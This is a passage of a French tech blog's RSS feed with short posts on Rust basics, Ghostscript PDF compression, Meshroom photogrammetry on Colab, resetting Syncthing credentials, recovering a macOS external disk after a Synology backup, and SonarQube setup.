<code>u16</code>: entier non-signé de 16 bits, soit une valeur max de <code>(2^16)-1</code> soit <code>65 535</code>.<br/>
<code>u32</code><br/>
<code>u64</code><br/>
<code>u128</code><br/>
<code>f32</code>: nombre flottant de 32 bits<br/>
<code>f64</code>: nombre flottant de 64 bits<br/>
<code>slice</code>: morceau de tableau<br/>
<code>String</code><br/>
<code>char</code>
<code>bool</code>
<code>unit</code>: tuple
<code>usize</code>: entier non-signé dont la size dépend de l&rsquo;architecture du système (i.e. Intel 32 ou 64 bits&hellip;)
<code>isize</code>: idem mais pour un entier signé</p></blockquote>
<br/>
<p>Ou encore testez les Slices:</p>
<pre tabindex="0"><code>&gt;&gt; let tableau = &amp;[&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;];
&gt;&gt; println!(&#34;{:?}&#34;, tableau);
[&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;]

&gt;&gt; let sub_tab = &amp;tableau[1..];
&gt;&gt; println!(&#34;{:?}&#34;, sub_tab);
[&#34;tata&#34;, &#34;toto&#34;]
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Tips en vrac sur Rust</title>
            <link>https://leandeep.com/tips-en-vrac-sur-rust/</link>
            <pubDate>Fri, 31 Dec 2021 06:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/tips-en-vrac-sur-rust/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Voir les &amp;ldquo;choses&amp;rdquo; chargées par défaut lors du démarrage d&amp;rsquo;un programme Rust&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;The prelude is the list of things that Rust automatically imports into every Rust program.&amp;rdquo; &lt;a href=&#34;https://doc.rust-lang.org/std/prelude/index.html#the-rust-prelude&#34;&gt;Source&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://doc.rust-lang.org/std/prelude/v1/index.html&#34;&gt;https://doc.rust-lang.org/std/prelude/v1/index.html&lt;/a&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Some()&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Some&lt;/code&gt; est une variante de l&amp;rsquo;enum Option&lt;!-- raw HTML omitted --&gt;.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;enum Option&amp;lt;T&amp;gt; {
    None,
    Some(T),
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Si on veut parler d&amp;rsquo;une variable qui existe, on utilise &lt;code&gt;Some(value)&lt;/code&gt;. (Par contre, si on veut parler d&amp;rsquo;une variable qui pourrait ne pas exister, on utilise plutôt &lt;code&gt;Option&amp;lt;IciAnyType&amp;gt;&lt;/code&gt;)&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Voir les &ldquo;choses&rdquo; chargées par défaut lors du démarrage d&rsquo;un programme Rust</strong></p>
<blockquote>
<p>&ldquo;The prelude is the list of things that Rust automatically imports into every Rust program.&rdquo; <a href="https://doc.rust-lang.org/std/prelude/index.html#the-rust-prelude">Source</a></p></blockquote>
<p><a href="https://doc.rust-lang.org/std/prelude/v1/index.html">https://doc.rust-lang.org/std/prelude/v1/index.html</a></p>
<br/>
<p><strong>Some()</strong></p>
<p><code>Some</code> est une variante de l&rsquo;enum Option<!-- raw HTML omitted -->.</p>
<pre tabindex="0"><code>enum Option&lt;T&gt; {
    None,
    Some(T),
}
</code></pre><p>Si on veut parler d&rsquo;une variable qui existe, on utilise <code>Some(value)</code>. (Par contre, si on veut parler d&rsquo;une variable qui pourrait ne pas exister, on utilise plutôt <code>Option&lt;IciAnyType&gt;</code>)</p>
<blockquote>
<p>Il peut être intéressant d&rsquo;utiliser l&rsquo;opérateur <code>if let</code> avec <code>Some()</code>:</p>
<pre tabindex="0"><code>if let Some(s) = ma_fonction(1) {...
...
</code></pre></blockquote>
<br/>
<p><strong>Utilisation du <code>Some()</code> dans un <code>while let</code></strong></p>
<p>C&rsquo;est un shortcut à loop:</p>
<pre tabindex="0"><code>let mut vecteur = vec!(&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;);

loop {
    match vecteur.pop() {
        Some(x) =&gt; println!(&#34;{}&#34;, x),
        None =&gt; break,
    }
}
</code></pre><blockquote>
<p>A noter ici que <code>vecteur</code> doit être défini comme mutable; sans quoi <code>vecteur.pop()</code> poserait problème. Le compilateur empêchera la compilation de toute façon&hellip;</p></blockquote>
<pre tabindex="0"><code>let mut vecteur = vec!(&#34;titi&#34;, &#34;tata&#34;, &#34;toto&#34;);

while let Some(x) = vecteur.pop() {
    println!(&#34;{}&#34;, x);
}
</code></pre><p>Output: <br/>
toto<br/>
tata<br/>
titi</p>
<br/>
<p><strong>Debugging: afficher le type d&rsquo;une variable</strong></p>
<pre tabindex="0"><code>fn debug_print_type_of&lt;T&gt;(_: &amp;T) {
    println!(&#34;{}&#34;, std::any::type_name::&lt;T&gt;())
}

fn main() {
    let test_string = &#34;titi&#34;;
    let test_i32 = 42;

    debug_print_type_of(&amp;test_string); // &amp;str
    debug_print_type_of(&amp;test_i32); // i32
}
</code></pre><br/>
<p><strong>Return ou pas return?</strong></p>
<p>Le code suivant:</p>
<pre tabindex="0"><code>fn sum(num1: i32, num2: i32) -&gt; i32 {
    num1 + num2
}
</code></pre><p>est équivalent au code suivant:</p>
<pre tabindex="0"><code>fn sum(num1: i32, num2: i32) -&gt; i32 {
    return num1 + num2;
}
</code></pre><br/>
<p><strong>Préciser qu&rsquo;une fonction ne retourne rien</strong></p>
<p>Comment faire l&rsquo;équivant de <code>-&gt; None:</code> en Python mais en Rust ?</p>
<pre tabindex="0"><code>fn ma_fonction() -&gt; () {
    println!(&#34;Hello world&#34;);
}
</code></pre><br/>
<p><strong>L&rsquo;opérateur ?</strong></p>
<p>L&rsquo;utilisation de l&rsquo;opérateur <code>?</code> n&rsquo;est possible que sur les types qui implémentent le trait <a href="https://doc.rust-lang.org/stable/std/ops/trait.Try.html">Try</a>.</p>
<pre tabindex="0"><code>use std::fs::File;

fn open_file(filename: &amp;str) -&gt; Result&lt;u32, String&gt; {
    let mut my_file = File::open(filename).map_err(|e| format!(&#34;Error while opening file {:?}&#34;, (filename, e)))?;
    Ok(0)
}
</code></pre><blockquote>
<p>Noter ici l&rsquo;utilisation du paramètre <code>{:?}</code> dans la macro <code>format</code>. Plus d&rsquo;information sur les paramètres disponibles pour formater des strings sur <a href="https://doc.rust-lang.org/std/fmt/index.html">la doc officielle</a>.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Compresser un PDF gratuitement et en ligne de commande sur OSX</title>
            <link>https://leandeep.com/compresser-un-pdf-gratuitement-et-en-ligne-de-commande-sur-osx/</link>
            <pubDate>Wed, 29 Dec 2021 19:43:00 +0000</pubDate>
            
            <guid>https://leandeep.com/compresser-un-pdf-gratuitement-et-en-ligne-de-commande-sur-osx/</guid>
            <description>&lt;p&gt;J&amp;rsquo;avais impérativement besoin de compresser un PDF et le faire passer 33Mo à 5 ou 6Mo max en gardant une qualité correcte.&lt;/p&gt;
&lt;p&gt;Il y a pleins d&amp;rsquo;outils et d&amp;rsquo;articles sur internet expliquant comment faire cela et franchement c&amp;rsquo;est une perte de temps.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Le compression intégrée directement dans &lt;code&gt;Preview&lt;/code&gt; ne me donnait pas satisfaction car le rendu était flou.&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h3 id=&#34;ghostscript&#34;&gt;Ghostscript&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install ghostscript
gs -sDEVICE=pdfwrite -dNOPAUSE -dQUIET -dBATCH -dPDFSETTINGS=/screen -dCompatibilityLevel=1.4 -sOutputFile=output.pdf sign.pdf
gs -sDEVICE=pdfwrite -dNOPAUSE -dQUIET -dBATCH -dPDFSETTINGS=/ebook -sOutputFile=output2.pdf sign.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;-dQUIET: Retire les logs sur stdout&lt;br/&gt;
-dNOPAUSE: Pas de pause entre chaque page&lt;br/&gt;
-dBATCH: Permet de stopper le process quand toutes les pages ont été traitées&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>J&rsquo;avais impérativement besoin de compresser un PDF et le faire passer 33Mo à 5 ou 6Mo max en gardant une qualité correcte.</p>
<p>Il y a pleins d&rsquo;outils et d&rsquo;articles sur internet expliquant comment faire cela et franchement c&rsquo;est une perte de temps.</p>
<blockquote>
<p>Le compression intégrée directement dans <code>Preview</code> ne me donnait pas satisfaction car le rendu était flou.</p></blockquote>
<br/>
<h3 id="ghostscript">Ghostscript</h3>
<pre tabindex="0"><code>brew install ghostscript
gs -sDEVICE=pdfwrite -dNOPAUSE -dQUIET -dBATCH -dPDFSETTINGS=/screen -dCompatibilityLevel=1.4 -sOutputFile=output.pdf sign.pdf
gs -sDEVICE=pdfwrite -dNOPAUSE -dQUIET -dBATCH -dPDFSETTINGS=/ebook -sOutputFile=output2.pdf sign.pdf
</code></pre><blockquote>
<p>-dQUIET: Retire les logs sur stdout<br/>
-dNOPAUSE: Pas de pause entre chaque page<br/>
-dBATCH: Permet de stopper le process quand toutes les pages ont été traitées</p></blockquote>
<blockquote>
<p>-dPDFSETTINGS=<br/></p>
<ul>
<li>/screen (72 dpi) low resolution<br/></li>
<li>/ebook (150 dpi) medium resolution<br/></li>
<li>/printer (300 dpi)<br/></li>
<li>/prepress (300 dpi)<br/></li>
<li>/default (72 dpi)<br/></li>
</ul></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Workaround &#34;Object Capture is not available on this computer&#34; Photogrammetry</title>
            <link>https://leandeep.com/workaround-object-capture-is-not-available-on-this-computer-photogrammetry/</link>
            <pubDate>Fri, 24 Dec 2021 06:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/workaround-object-capture-is-not-available-on-this-computer-photogrammetry/</guid>
            <description>&lt;h3 id=&#34;introduction&#34;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;J&amp;rsquo;ai voulu expérimenter la nouvelle API disponible sur OSX Monterey appelée Object Capture qui permet de faire de la Photogrammetry. Mon objectif était de scanner des humains afin de créer leur avatar en 3D.
Apple semble avoir un formidable nouvel outil pour faire de la photogrammetry et après avoir tout téléchargé, installé et analysé côté documentation je me suis pris cette erreur &lt;code&gt;Object Capture is not available on this computer&lt;/code&gt; lorsque j&amp;rsquo;ai voulu RUN mon premier projet&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h3 id="introduction">Introduction</h3>
<p>J&rsquo;ai voulu expérimenter la nouvelle API disponible sur OSX Monterey appelée Object Capture qui permet de faire de la Photogrammetry. Mon objectif était de scanner des humains afin de créer leur avatar en 3D.
Apple semble avoir un formidable nouvel outil pour faire de la photogrammetry et après avoir tout téléchargé, installé et analysé côté documentation je me suis pris cette erreur <code>Object Capture is not available on this computer</code> lorsque j&rsquo;ai voulu RUN mon premier projet&hellip;</p>
<p>Le problème vient des specifications techniques de mon Mac. Il manque 2 Go de VRAM. Il n&rsquo;en a que 2 au lieu de 4 requis. La pilule est quand même dur à avaler il fonctionne très bien malgré tout ce que je lui fait endurer. Côté RAM et processeur pas de problème mais côté carte graphique cela pose problème. J&rsquo;ai un eGPU Razer avec une carte graphique très récente dont je me sers pour le Deep Learning. Apparemment quelqu&rsquo;un aurait réussi à utiliser son eGPU avec cette API dans <a href="https://developer.apple.com/forums/thread/681861?answerId=677919022">cet article</a>. Je ferais le test à l&rsquo;occasion mais ce n&rsquo;est plus une nécessité&hellip;</p>
<p>En attendant, j&rsquo;ai un magnifique <strong>workaround</strong>. Utiliser Meshroom et créer un mix de Python et de commandes Linux. Le résultat est au top:</p>
<p><img src="/images/scan-3d.png" alt="image"></p>
<blockquote>
<p>En pré-requis, il vous faudra:</p>
<ul>
<li>un GPU</li>
<li>Jupyter Lab ou <a href="colab.research.google.com">Colab</a>. (Dans mon cas, c&rsquo;est Colab)</li>
</ul></blockquote>
<br/>
<h3 id="code">Code</h3>
<p>On démarrer une instance avec GPU</p>
<pre tabindex="0"><code>import tensorflow as tf
device_name = tf.test.gpu_device_name()
if device_name != &#39;/device:GPU:0&#39;:
  raise SystemError(&#39;GPU device required&#39;)
print(f&#39;GPU found at: {device_name}&#39;)
</code></pre><br/>
<p>Chargement des données via une des 3 options</p>
<pre tabindex="0"><code># Option 1
# From Google Drive and upload
from google.colab import drive, files
drive.mount(&#39;/content/drive&#39;)
uploaded = files.upload()
for file in uploaded.keys():
    print(f&#39;File &#34;{file}&#34; uploaded with length {len(uploaded[file])} bytes&#39;)

# Option 2
# OR via WGET
!wget https://devimages-cdn.apple.com/ar/photogrammetry/FruitCakeSliceImages.zip
!unzip FruitCakeSliceImages.zip
!mkdir input_dataset
#!rm FruitCakeSliceImages.zip
#!mv FruitCakeSlice/*.HEIC input_dataset/
!ls -l ./input_dataset
# Optional rename extension
#cd FruitCakeSliceImages
#!find . -type f -name &#34;*.HEIC&#34; -exec rename &#39;s/\.HEIC$/.jpg/&#39; &#39;{}&#39; \;

# Option 3
# OR via Github
!git clone https://github.com/alicevision/dataset_buddha
!ls -l dataset_buddha/buddha
!rm -rf dataset_buddha/buddha/*.bin
!rm -rf dataset_buddha/buddha/*.txt
!rm -rf dataset_buddha/buddha/*.ini
!ls -l dataset_buddha/buddha
</code></pre><br/>
<p>On récupère Meshroom</p>
<pre tabindex="0"><code>!wget -N https://github.com/alicevision/meshroom/releases/download/v2019.1.0/Meshroom-2019.1.0-linux.tar.gz
!mkdir meshroom
!tar xzf Meshroom-2019.1.0-linux.tar.gz -C ./meshroom
</code></pre><br/>
<p>On Mesh et on attend patiemment</p>
<pre tabindex="0"><code>!mkdir ./model_out
#!./meshroom/Meshroom-2019.1.0/meshroom_photogrammetry --input ./input_dataset --output ./model_out
!./meshroom/Meshroom-2019.1.0/meshroom_photogrammetry --input ./dataset_buddha/buddha --output ./model_out
</code></pre><br/>
<p>On zip et on récupère le résultat</p>
<pre tabindex="0"><code>!zip -r 3d_mesh_object.zip ./model_out
files.download(&#39;3d_mesh_object.zip&#39;)
</code></pre><br/>
<p>Et voilà, vous obtiendrez un zip contenant 3 fichiers que vous pourrez importer dans Blender ou autre</p>
]]></content>
        </item>
        
        <item>
            <title>Reset syncthing Web GUI credentials</title>
            <link>https://leandeep.com/reset-syncthing-web-gui-credentials/</link>
            <pubDate>Sun, 19 Dec 2021 12:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/reset-syncthing-web-gui-credentials/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Stopper le service Syncthing&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;systemctl status syncthing@olivier.service
systemctl stop syncthing@olivier.service
systemctl status syncthing@olivier.service
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Retirer le username et password de la conf syncthing&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Retirer les lignes suivantes du fichier &lt;code&gt;~/.config/syncthing/config.xml&lt;/code&gt;:
&lt;br/&gt;
&lt;code&gt;&amp;lt;user&amp;gt;...&amp;lt;/user&amp;gt;&lt;/code&gt;
&lt;br/&gt;
&lt;code&gt;&amp;lt;password&amp;gt;...&amp;lt;/password&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Démarrer le service Syncthing&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;systemctl start syncthing@olivier.service
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Ajout des nouveaux creds&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ouvrez le Web GUI (généralement https://127.0.0.1:8384) et cliquez sur le bandeau rouge indiquant qu&amp;rsquo;il n&amp;rsquo;y a pas de mot de passe configuré pour le GUI. &lt;br/&gt;
Dans la fenêtre qui s&amp;rsquo;ouvre ajoutez des nouveaux credentials et sauvegardez.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Stopper le service Syncthing</strong></p>
<pre tabindex="0"><code>systemctl status syncthing@olivier.service
systemctl stop syncthing@olivier.service
systemctl status syncthing@olivier.service
</code></pre><br/>
<p><strong>Retirer le username et password de la conf syncthing</strong></p>
<p>Retirer les lignes suivantes du fichier <code>~/.config/syncthing/config.xml</code>:
<br/>
<code>&lt;user&gt;...&lt;/user&gt;</code>
<br/>
<code>&lt;password&gt;...&lt;/password&gt;</code></p>
<br/>
<p><strong>Démarrer le service Syncthing</strong></p>
<pre tabindex="0"><code>systemctl start syncthing@olivier.service
</code></pre><br/>
<p><strong>Ajout des nouveaux creds</strong></p>
<p>Ouvrez le Web GUI (généralement https://127.0.0.1:8384) et cliquez sur le bandeau rouge indiquant qu&rsquo;il n&rsquo;y a pas de mot de passe configuré pour le GUI. <br/>
Dans la fenêtre qui s&rsquo;ouvre ajoutez des nouveaux credentials et sauvegardez.</p>
]]></content>
        </item>
        
        <item>
            <title>Forcer le montage d&#39;un disque dur externe mal éjecté et plus détecté sur Mac OSX et backup Synology</title>
            <link>https://leandeep.com/forcer-le-montage-dun-disque-dur-externe-mal-%C3%A9ject%C3%A9-et-plus-d%C3%A9tect%C3%A9-sur-mac-osx-et-backup-synology/</link>
            <pubDate>Sat, 18 Dec 2021 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/forcer-le-montage-dun-disque-dur-externe-mal-%C3%A9ject%C3%A9-et-plus-d%C3%A9tect%C3%A9-sur-mac-osx-et-backup-synology/</guid>
            <description>&lt;h3 id=&#34;sauvegarde-dun-synlogy-en-pls&#34;&gt;Sauvegarde d&amp;rsquo;un Synlogy en PLS&lt;/h3&gt;
&lt;p&gt;La semaine dernière mon Synology de 2 disques DS213 s&amp;rsquo;est mis à biper sans arrêt car un des disques du RAID était HS. Quand cela arrive, il faut remplacer le disque défectueux afin que les données perdues soient reconstruites et ne pas tout perdre si le second disque venait à lâcher en même temps. N&amp;rsquo;ayant pas de disque sous la main, j&amp;rsquo;ai tout de suite fait un backup sur un disque externe USB de 14 To grâce via mon Mac. Oubliez les transfers via SMB ou AFT trop long. L&amp;rsquo;indexation des fichiers peut en effet prendre plusieurs jours. J&amp;rsquo;ai fait le backup via rsync avec des commandes comme celle ci: &lt;code&gt;rsync --partial -r --progress admin@NAS_oliviere.local:/volume1/photo /Volumes/USB/Synology&lt;/code&gt;. Je m&amp;rsquo;étais d&amp;rsquo;abord connecté en SSH pour lister les répertoires à backuper via la commande: &lt;code&gt;ssh -p 28 admin@nas_oliviere.local&lt;/code&gt;.
Cela m&amp;rsquo;a quand même pris 2 jours pour tout copier malgré une connexion en direct du Mac vers le Synology&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h3 id="sauvegarde-dun-synlogy-en-pls">Sauvegarde d&rsquo;un Synlogy en PLS</h3>
<p>La semaine dernière mon Synology de 2 disques DS213 s&rsquo;est mis à biper sans arrêt car un des disques du RAID était HS. Quand cela arrive, il faut remplacer le disque défectueux afin que les données perdues soient reconstruites et ne pas tout perdre si le second disque venait à lâcher en même temps. N&rsquo;ayant pas de disque sous la main, j&rsquo;ai tout de suite fait un backup sur un disque externe USB de 14 To grâce via mon Mac. Oubliez les transfers via SMB ou AFT trop long. L&rsquo;indexation des fichiers peut en effet prendre plusieurs jours. J&rsquo;ai fait le backup via rsync avec des commandes comme celle ci: <code>rsync --partial -r --progress admin@NAS_oliviere.local:/volume1/photo /Volumes/USB/Synology</code>. Je m&rsquo;étais d&rsquo;abord connecté en SSH pour lister les répertoires à backuper via la commande: <code>ssh -p 28 admin@nas_oliviere.local</code>.
Cela m&rsquo;a quand même pris 2 jours pour tout copier malgré une connexion en direct du Mac vers le Synology&hellip;</p>
<br/>
<h3 id="disque-dur-externe-non-reconnu">Disque dur externe non reconnu</h3>
<p>Après avoir terminé mon backup, j&rsquo;ai débranché comme une brute mon disque dur externe USB de mon Mac et lorsque j&rsquo;ai voulu le rebrancher, il ne se montait plus. Il m&rsquo;était impossible de monter la partition ExtFS ou de la réparer via l&rsquo;utilitaire de disque. (Après 2 jours de backup, je me suis dit que c&rsquo;était logique, c&rsquo;était la fameuse loi des séries&hellip;).
Le disque était détecté mais la partition ne se montait plus.</p>
<p>Le problème venait de fsck (Filesystem Check) d&rsquo;OSX. Lorsque je branchais mon disque, OSX essayait de réparé le disque mal éjecté et le processus ne se terminé jamais.</p>
<p>J&rsquo;ai donc killé le processus via les commandes <code>ps aux | grep fsck</code> et <code>kill -9 PID</code>. En faisait cela, le disque se monte instantanément en lecture seule. Pour pouvoir à nouveau écrire dessus, il faut réparer le disque via <code>Disk Utility</code>.</p>
<br/>
<h3 id="leçon-retenue">Leçon retenue</h3>
<ol>
<li>
<p>Avoir un backup de son Synology. Cela fait des mois que je dis que je vais le faire et je me suis fait avoir&hellip; Le backup doit être à l&rsquo;extérieur de chez soi. Synology propose un service de backup automatique vers le cloud ou vers un second Synology. Je vais personnellement me doter d&rsquo;un nouveau Synology DS1520+ avec 5 disques et utiliser mon DS213 comme Synology de Backup avec des disques renouvelés que je garderais en dehors de chez moi.</p>
</li>
<li>
<p>Ejecter proprement son disque USB externe. Maintenant j&rsquo;utilise les commandes suivantes avant d&rsquo;enlever le cable USB de mon disque dur externe:</p>
</li>
</ol>
<pre tabindex="0"><code>diskutil unmountDisk /dev/disk2
# diskutil unmountDisk force /dev/disk2
hdiutil eject disk2
</code></pre><p>ou alias pour <code>~/.zshrc</code>&hellip;</p>
<pre tabindex="0"><code>eject ()
{
    diskutil unmountDisk /dev/disk2
    hdiutil eject disk2
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Forcer le mountage d&#39;un disque dur externe mal éjecté et plus détecté sur Mac OSX et backup Synology</title>
            <link>https://leandeep.com/forcer-le-mountage-dun-disque-dur-externe-mal-%C3%A9ject%C3%A9-et-plus-d%C3%A9tect%C3%A9-sur-mac-osx-et-backup-synology/</link>
            <pubDate>Sat, 18 Dec 2021 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/forcer-le-mountage-dun-disque-dur-externe-mal-%C3%A9ject%C3%A9-et-plus-d%C3%A9tect%C3%A9-sur-mac-osx-et-backup-synology/</guid>
            <description>&lt;h3 id=&#34;sauvegarde-dun-synlogy-en-pls&#34;&gt;Sauvegarde d&amp;rsquo;un Synlogy en PLS&lt;/h3&gt;
&lt;p&gt;La semaine dernière mon Synology de 2 disques DS213 s&amp;rsquo;est mis à biper sans arrêt car un des disques du RAID était HS. Quand cela arrive, il faut remplacer le disque défectueux afin que les données perdues soient reconstruites et ne pas tout perdre si le second disque venait à lâcher en même temps. N&amp;rsquo;ayant pas de disque sous la main, j&amp;rsquo;ai tout de suite fait un backup sur un disque externe USB de 14 To grâce via mon Mac. Oubliez les transfers via SMB ou AFT trop long. L&amp;rsquo;indexation des fichiers peut en effet prendre plusieurs jours. J&amp;rsquo;ai fait le backup via rsync avec des commandes comme celle ci: &lt;code&gt;rsync --partial -r --progress admin@NAS_oliviere.local:/volume1/photo /Volumes/USB/Synology&lt;/code&gt;. Je m&amp;rsquo;étais d&amp;rsquo;abord connecté en SSH pour lister les répertoires à backuper via la commande: &lt;code&gt;ssh -p 28 admin@nas_oliviere.local&lt;/code&gt;.
Cela m&amp;rsquo;a quand même pris 2 jours pour tout copier malgré une connexion en direct du Mac vers le Synology&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h3 id="sauvegarde-dun-synlogy-en-pls">Sauvegarde d&rsquo;un Synlogy en PLS</h3>
<p>La semaine dernière mon Synology de 2 disques DS213 s&rsquo;est mis à biper sans arrêt car un des disques du RAID était HS. Quand cela arrive, il faut remplacer le disque défectueux afin que les données perdues soient reconstruites et ne pas tout perdre si le second disque venait à lâcher en même temps. N&rsquo;ayant pas de disque sous la main, j&rsquo;ai tout de suite fait un backup sur un disque externe USB de 14 To grâce via mon Mac. Oubliez les transfers via SMB ou AFT trop long. L&rsquo;indexation des fichiers peut en effet prendre plusieurs jours. J&rsquo;ai fait le backup via rsync avec des commandes comme celle ci: <code>rsync --partial -r --progress admin@NAS_oliviere.local:/volume1/photo /Volumes/USB/Synology</code>. Je m&rsquo;étais d&rsquo;abord connecté en SSH pour lister les répertoires à backuper via la commande: <code>ssh -p 28 admin@nas_oliviere.local</code>.
Cela m&rsquo;a quand même pris 2 jours pour tout copier malgré une connexion en direct du Mac vers le Synology&hellip;</p>
<br/>
<h3 id="disque-dur-externe-non-reconnu">Disque dur externe non reconnu</h3>
<p>Après avoir terminé mon backup, j&rsquo;ai débranché comme une brute mon disque dur externe USB de mon Mac et lorsque j&rsquo;ai voulu le rebrancher, il ne se montait plus. Il m&rsquo;était impossible de monter la partition ExtFS ou de la réparer via l&rsquo;utilitaire de disque. (Après 2 jours de backup, je me suis dit que c&rsquo;était logique, c&rsquo;était la fameuse loi des séries&hellip;).
Le disque était détecté mais la partition ne se montait plus.</p>
<p>Le problème venait de fsck (Filesystem Check) d&rsquo;OSX. Lorsque je branchais mon disque, OSX essayait de réparé le disque mal éjecté et le processus ne se terminé jamais.</p>
<p>J&rsquo;ai donc killé le processus via les commandes <code>ps aux | grep fsck</code> et <code>kill -9 PID</code>. En faisait cela, le disque se monte instantanément en lecture seule. Pour pouvoir à nouveau écrire dessus, il faut réparer le disque via <code>Disk Utility</code>.</p>
<br/>
<h3 id="leçon-retenue">Leçon retenue</h3>
<ol>
<li>
<p>Avoir un backup de son Synology. Cela fait des mois que je dis que je vais le faire et je me suis fait avoir&hellip; Le backup doit être à l&rsquo;extérieur de chez soi. Synology propose un service de backup automatique vers le cloud ou vers un second Synology. Je vais personnellement me doter d&rsquo;un nouveau Synology DS1520+ avec 5 disques et utiliser mon DS213 comme Synology de Backup avec des disques renouvelés que je garderais en dehors de chez moi.</p>
</li>
<li>
<p>Ejecter proprement son disque USB externe. Maintenant j&rsquo;utilise les commandes suivantes avant d&rsquo;enlever le cable USB de mon disque dur externe:</p>
</li>
</ol>
<pre tabindex="0"><code>diskutil unmountDisk /dev/disk2
# diskutil unmountDisk force /dev/disk2
hdiutil eject disk2
</code></pre><p>ou alias pour <code>~/.zshrc</code>&hellip;</p>
<pre tabindex="0"><code>eject ()
{
    diskutil unmountDisk /dev/disk2
    hdiutil eject disk2
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Mettre en place un Sonarqube et scanner son projet en moins de 5 minutes (v2)</title>
            <link>https://leandeep.com/mettre-en-place-un-sonarqube-et-scanner-son-projet-en-moins-de-5-minutes-v2/</link>
            <pubDate>Fri, 10 Dec 2021 06:56:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mettre-en-place-un-sonarqube-et-scanner-son-projet-en-moins-de-5-minutes-v2/</guid>
            <description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Voici les étapes à suivre pour ajouter un sonar dans son projet.
Il s&amp;rsquo;agit d&amp;rsquo;une mise à jour de &lt;a href=&#34;https://leandeep.com/mettre-en-place-un-sonarqube-et-scanner-son-projet-en-moins-de-5-minutes/&#34;&gt;l&amp;rsquo;article suivant&lt;/a&gt; qui n&amp;rsquo;est plus forcément à jour car le projet Sonar a évolué positivement.&lt;/p&gt;
&lt;br/&gt;
&lt;h1 id=&#34;steps&#34;&gt;Steps&lt;/h1&gt;
&lt;h2 id=&#34;déployer-un-sonar-via-docker&#34;&gt;Déployer un sonar via Docker&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ docker pull sonarqube
$ docker run -d --name sonarqube -p 9000:9000 -p 9092:9092 sonarqube
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installer-sonar-scanner-cli&#34;&gt;Installer sonar scanner cli&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;brew install sonar-scanner
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Note: Mot de passe par défault: admin/admin&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Voici les étapes à suivre pour ajouter un sonar dans son projet.
Il s&rsquo;agit d&rsquo;une mise à jour de <a href="https://leandeep.com/mettre-en-place-un-sonarqube-et-scanner-son-projet-en-moins-de-5-minutes/">l&rsquo;article suivant</a> qui n&rsquo;est plus forcément à jour car le projet Sonar a évolué positivement.</p>
<br/>
<h1 id="steps">Steps</h1>
<h2 id="déployer-un-sonar-via-docker">Déployer un sonar via Docker</h2>
<pre tabindex="0"><code>$ docker pull sonarqube
$ docker run -d --name sonarqube -p 9000:9000 -p 9092:9092 sonarqube
</code></pre><br/>
<h2 id="installer-sonar-scanner-cli">Installer sonar scanner cli</h2>
<pre tabindex="0"><code>brew install sonar-scanner
</code></pre><blockquote>
<p>Note: Mot de passe par défault: admin/admin</p></blockquote>
<br/>
<h2 id="configurer-le-projet">Configurer le projet</h2>
<p>Créer un fichier <code>sonar-project.properties</code> à la racine du projet</p>
<pre tabindex="0"><code># Required metadata
sonar.projectKey=org.sonarqube:python-sonar-scanner
sonar.projectName=Python :: PYTHON! : SonarQube Scanner
sonar.projectVersion=1.0
sonar.login=admin
sonar.password=admin
# Comma-separated paths to directories with sources (required)
sonar.sources=PATH_DU_REPERTOIRE_A_SCANNER

# Language
sonar.language=py

# Encoding of the source files
sonar.sourceEncoding=UTF-8

sonar.host.url=http://IP_DU_SONAR:9000
</code></pre><br/>
